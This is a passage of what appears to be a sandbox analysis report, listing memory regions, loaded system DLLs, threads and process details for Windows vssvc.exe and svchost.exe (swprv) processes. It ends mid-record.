id = 1113 start_va = 0x2140000 end_va = 0x21bffff entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 1114 start_va = 0x2230000 end_va = 0x22affff entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 1115 start_va = 0x7fef4340000 end_va = 0x7fef4353fff entry_point = 0x7fef4340000 region_type = mapped_file name = "vss_ps.dll" filename = "\\Windows\\System32\\vss_ps.dll" (normalized: "c:\\windows\\system32\\vss_ps.dll") Region: id = 1116 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 1117 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Thread: id = 30 os_tid = 0xbec Thread: id = 31 os_tid = 0xba0 Thread: id = 32 os_tid = 0xb84 Thread: id = 34 os_tid = 0xb7c Thread: id = 35 os_tid = 0xbfc Process: id = "6" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x20ea1000" os_pid = "0xbd0" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0xbd4" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:000d4dfd" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1118 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1119 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1120 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1121 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1122 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1123 start_va = 0xc0000 end_va = 0x1bffff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 1124 start_va = 0x1c0000 end_va = 0x1c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 1125 start_va = 0x1d0000 end_va = 0x1e0fff entry_point = 0x1d0000 region_type = mapped_file name = "vssvc.exe.mui" filename = "\\Windows\\System32\\en-US\\VSSVC.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\vssvc.exe.mui") Region: id = 1126 start_va = 0x1f0000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 1127 start_va = 0x270000 end_va = 0x32ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 1128 start_va = 0x330000 end_va = 0x330fff entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 1129 start_va = 0x340000 end_va = 0x340fff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 1130 start_va = 0x350000 end_va = 0x350fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Region: id = 1131 start_va = 0x360000 end_va = 0x360fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000360000" filename = "" Region: id = 1132 start_va = 0x370000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 1133 start_va = 0x470000 end_va = 0x5f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 1134 start_va = 0x600000 end_va = 0x60ffff entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 1135 start_va = 0x610000 end_va = 0x790fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 1136 start_va = 0x7a0000 end_va = 0xb92fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007a0000" filename = "" Region: id = 1137 start_va = 0xba0000 end_va = 0xc1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ba0000" filename = "" Region: id = 1138 start_va = 0xc80000 end_va = 0xcfffff entry_point = 0x0 region_type = private name = "private_0x0000000000c80000" filename = "" Region: id = 1139 start_va = 0xd70000 end_va = 0xdeffff entry_point = 0x0 region_type = private name = "private_0x0000000000d70000" filename = "" Region: id = 1140 start_va = 0xdf0000 end_va = 0xe6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 1141 start_va = 0xea0000 end_va = 0xf1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ea0000" filename = "" Region: id = 1142 start_va = 0xf20000 end_va = 0x11eefff entry_point = 0xf20000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1143 start_va = 0x1390000 end_va = 0x140ffff entry_point = 0x0 region_type = private name = "private_0x0000000001390000" filename = "" Region: id = 1144 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x77450000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1145 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x77550000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1146 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1147 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1148 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1149 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1150 start_va = 0xff340000 end_va = 0xff4cafff entry_point = 0xff340000 region_type = mapped_file name = "vssvc.exe" filename = "\\Windows\\System32\\VSSVC.exe" (normalized: "c:\\windows\\system32\\vssvc.exe") Region: id = 1151 start_va = 0x7fef4340000 end_va = 0x7fef4353fff entry_point = 0x7fef4340000 region_type = mapped_file name = "vss_ps.dll" filename = "\\Windows\\System32\\vss_ps.dll" (normalized: "c:\\windows\\system32\\vss_ps.dll") Region: id = 1152 start_va = 0x7fef4360000 end_va = 0x7fef4373fff entry_point = 0x7fef4360000 region_type = mapped_file name = "xolehlp.dll" filename = "\\Windows\\System32\\xolehlp.dll" (normalized: "c:\\windows\\system32\\xolehlp.dll") Region: id = 1153 start_va = 0x7fef4390000 end_va = 0x7fef4399fff entry_point = 0x7fef4390000 region_type = mapped_file name = "virtdisk.dll" filename = "\\Windows\\System32\\virtdisk.dll" (normalized: "c:\\windows\\system32\\virtdisk.dll") Region: id = 1154 start_va = 0x7fef79b0000 end_va = 0x7fef79c6fff entry_point = 0x7fef79b0000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 1155 start_va = 0x7fef79d0000 end_va = 0x7fef7b7ffff entry_point = 0x7fef79d0000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 1156 start_va = 0x7fef8f30000 end_va = 0x7fef8f38fff entry_point = 0x7fef8f30000 region_type = mapped_file name = "fltlib.dll" filename = "\\Windows\\System32\\fltLib.dll" (normalized: "c:\\windows\\system32\\fltlib.dll") Region: id = 1157 start_va = 0x7fefafd0000 end_va = 0x7fefb036fff entry_point = 0x7fefafd0000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 1158 start_va = 0x7fefb070000 end_va = 0x7fefb088fff entry_point = 0x7fefb070000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 1159 start_va = 0x7fefb7c0000 end_va = 0x7fefb7d3fff entry_point = 0x7fefb7c0000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 1160 start_va = 0x7fefb7e0000 end_va = 0x7fefb7f4fff entry_point = 0x7fefb7e0000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1161 start_va = 0x7fefb800000 end_va = 0x7fefb80bfff entry_point = 0x7fefb800000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1162 start_va = 0x7fefb810000 end_va = 0x7fefb825fff entry_point = 0x7fefb810000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1163 start_va = 0x7fefb850000 end_va = 0x7fefb868fff entry_point = 0x7fefb850000 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 1164 start_va = 0x7fefb870000 end_va = 0x7fefb8bffff entry_point = 0x7fefb870000 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 1165 start_va = 0x7fefc0a0000 end_va = 0x7fefc0bcfff entry_point = 0x7fefc0a0000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 1166 start_va = 0x7fefc780000 end_va = 0x7fefc78bfff entry_point = 0x7fefc780000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1167 start_va = 0x7fefcbb0000 end_va = 0x7fefcbf6fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1168 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1169 start_va = 0x7fefd0a0000 end_va = 0x7fefd0cefff entry_point = 0x7fefd0a0000 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 1170 start_va = 0x7fefd150000 end_va = 0x7fefd163fff entry_point = 0x7fefd150000 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 1171 start_va = 0x7fefd3b0000 end_va = 0x7fefd3d2fff entry_point = 0x7fefd3b0000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1172 start_va = 0x7fefd4b0000 end_va = 0x7fefd4befff entry_point = 0x7fefd4b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1173 start_va = 0x7fefd5a0000 end_va = 0x7fefd5b3fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1174 start_va = 0x7fefd670000 end_va = 0x7fefd6a5fff entry_point = 0x7fefd670000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1175 start_va = 0x7fefd900000 end_va = 0x7fefd919fff entry_point = 0x7fefd900000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1176 start_va = 0x7fefd920000 end_va = 0x7fefd98afff entry_point = 0x7fefd920000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1177 start_va = 0x7fefdb10000 end_va = 0x7fefdbaefff entry_point = 0x7fefdb10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1178 start_va = 0x7fefdbb0000 end_va = 0x7fefdc86fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1179 start_va = 0x7fefdc90000 end_va = 0x7fefdcf6fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1180 start_va = 0x7fefdd00000 end_va = 0x7fefddc8fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1181 start_va = 0x7fefddf0000 end_va = 0x7fefdff2fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1182 start_va = 0x7fefe000000 end_va = 0x7fefe098fff entry_point = 0x7fefe000000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1183 start_va = 0x7fefe0a0000 end_va = 0x7fefe1a8fff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1184 start_va = 0x7fefe330000 end_va = 0x7fefe34efff entry_point = 0x7fefe330000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1185 start_va = 0x7fefe350000 end_va = 0x7fefe35dfff entry_point = 0x7fefe350000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1186 start_va = 0x7feff0f0000 end_va = 0x7feff2c6fff entry_point = 0x7feff0f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1187 start_va = 0x7feff2e0000 end_va = 0x7feff350fff entry_point = 0x7feff2e0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1188 start_va = 0x7feff740000 end_va = 0x7feff81afff entry_point = 0x7feff740000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1189 start_va = 0x7feff820000 end_va = 0x7feff94cfff entry_point = 0x7feff820000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1190 start_va = 0x7feff950000 end_va = 0x7feff97dfff entry_point = 0x7feff950000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1191 start_va = 0x7feff990000 end_va = 0x7feff990fff entry_point = 0x7feff990000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1192 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1193 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1194 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1195 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 1196 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1197 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1198 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1199 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1200 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1233 start_va = 0x7fefbf70000 end_va = 0x7fefc09bfff entry_point = 0x7fefbf70000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1300 start_va = 0x7fef3260000 end_va = 0x7fef32e4fff entry_point = 0x7fef3260000 region_type = mapped_file name = "catsrvut.dll" filename = "\\Windows\\System32\\catsrvut.dll" (normalized: "c:\\windows\\system32\\catsrvut.dll") Region: id = 1301 start_va = 0x7fef4380000 end_va = 0x7fef438bfff entry_point = 0x7fef4380000 region_type = mapped_file name = "mfcsubs.dll" filename = "\\Windows\\System32\\mfcsubs.dll" (normalized: "c:\\windows\\system32\\mfcsubs.dll") Thread: id = 36 os_tid = 0xb98 Thread: id = 37 os_tid = 0xbb4 Thread: id = 38 os_tid = 0x538 Thread: id = 39 os_tid = 0x80c Thread: id = 40 os_tid = 0xb94 Thread: id = 41 os_tid = 0xb80 Thread: id = 42 os_tid = 0xb9c Thread: id = 43 os_tid = 0x6fc Thread: id = 50 os_tid = 0x8c8 Thread: id = 51 os_tid = 0x9a4 Process: id = "7" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x20ca6000" os_pid = "0x810" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0xbd0" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:000d5683" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1432 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1433 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1434 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1435 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1436 start_va = 0x50000 end_va = 0x51fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1437 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 1438 start_va = 0x70000 end_va = 0x70fff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 1439 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 1440 start_va = 0xa0000 end_va = 0xaffff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 1441 start_va = 0xb0000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 1442 start_va = 0x150000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 1443 start_va = 0x250000 end_va = 0x2b6fff entry_point = 0x250000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1444 start_va = 0x2c0000 end_va = 0x3bffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 1445 start_va = 0x3c0000 end_va = 0x47ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003c0000" filename = "" Region: id = 1446 start_va = 0x480000 end_va = 0x4fffff entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 1447 start_va = 0x520000 end_va = 0x59ffff entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 1448 start_va = 0x5a0000 end_va = 0x727fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005a0000" filename = "" Region: id = 1449 start_va = 0x730000 end_va = 0x7affff entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 1450 start_va = 0x7b0000 end_va = 0xa7efff entry_point = 0x7b0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1451 start_va = 0xa80000 end_va = 0xc00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 1452 start_va = 0xc10000 end_va = 0x1002fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c10000" filename = "" Region: id = 1453 start_va = 0x1170000 end_va = 0x11effff entry_point = 0x0 region_type = private name = "private_0x0000000001170000" filename = "" Region: id = 1454 start_va = 0x12a0000 end_va = 0x131ffff entry_point = 0x0 region_type = private name = "private_0x00000000012a0000" filename = "" Region: id = 1455 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x77450000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1456 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x77550000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1457 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1458 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1459 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1460 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1461 start_va = 0xff1c0000 end_va = 0xff1cafff entry_point = 0xff1c0000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1462 start_va = 0x7fef3140000 end_va = 0x7fef31c1fff entry_point = 0x7fef3140000 region_type = mapped_file name = "swprv.dll" filename = "\\Windows\\System32\\swprv.dll" (normalized: "c:\\windows\\system32\\swprv.dll") Region: id = 1463 start_va = 0x7fef4340000 end_va = 0x7fef4353fff entry_point = 0x7fef4340000 region_type = mapped_file name = "vss_ps.dll" filename = "\\Windows\\System32\\vss_ps.dll" (normalized: "c:\\windows\\system32\\vss_ps.dll") Region: id = 1464 start_va = 0x7fef4390000 end_va = 0x7fef4399fff entry_point = 0x7fef4390000 region_type = mapped_file name = "virtdisk.dll" filename = "\\Windows\\System32\\virtdisk.dll" (normalized: "c:\\windows\\system32\\virtdisk.dll") Region: id = 1465 start_va = 0x7fef79b0000 end_va = 0x7fef79c6fff entry_point = 0x7fef79b0000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 1466 start_va = 0x7fef8f30000 end_va = 0x7fef8f38fff entry_point = 0x7fef8f30000 region_type = mapped_file name = "fltlib.dll" filename = "\\Windows\\System32\\fltLib.dll" (normalized: "c:\\windows\\system32\\fltlib.dll") Region: id = 1467 start_va = 0x7fefb070000 end_va = 0x7fefb088fff entry_point = 0x7fefb070000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 1468 start_va = 0x7fefcbb0000 end_va = 0x7fefcbf6fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1469 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1470 start_va = 0x7fefd4b0000 end_va = 0x7fefd4befff entry_point = 0x7fefd4b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1471 start_va = 0x7fefd5a0000 end_va = 0x7fefd5b3fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1472 start_va = 0x7fefd920000 end_va = 0x7fefd98afff entry_point = 0x7fefd920000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1473 start_va = 0x7fefdb10000 end_va = 0x7fefdbaefff entry_point = 0x7fefdb10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1474 start_va = 0x7fefdbb0000 end_va = 0x7fefdc86fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1475 start_va = 0x7fefdc90000 end_va = 0x7fefdcf6fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1476 start_va = 0x7fefdd00000 end_va = 0x7fefddc8fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1477 start_va = 0x7fefddf0000 end_va = 0x7fefdff2fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1478 start_va = 0x7fefe000000 end_va = 0x7fefe098fff entry_point = 0x7fefe000000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1479 start_va = 0x7fefe0a0000 end_va = 0x7fefe1a8fff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1480 start_va = 0x7fefe330000 end_va = 0x7fefe34efff entry_point = 0x7fefe330000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1481 start_va = 0x7fefe350000 end_va = 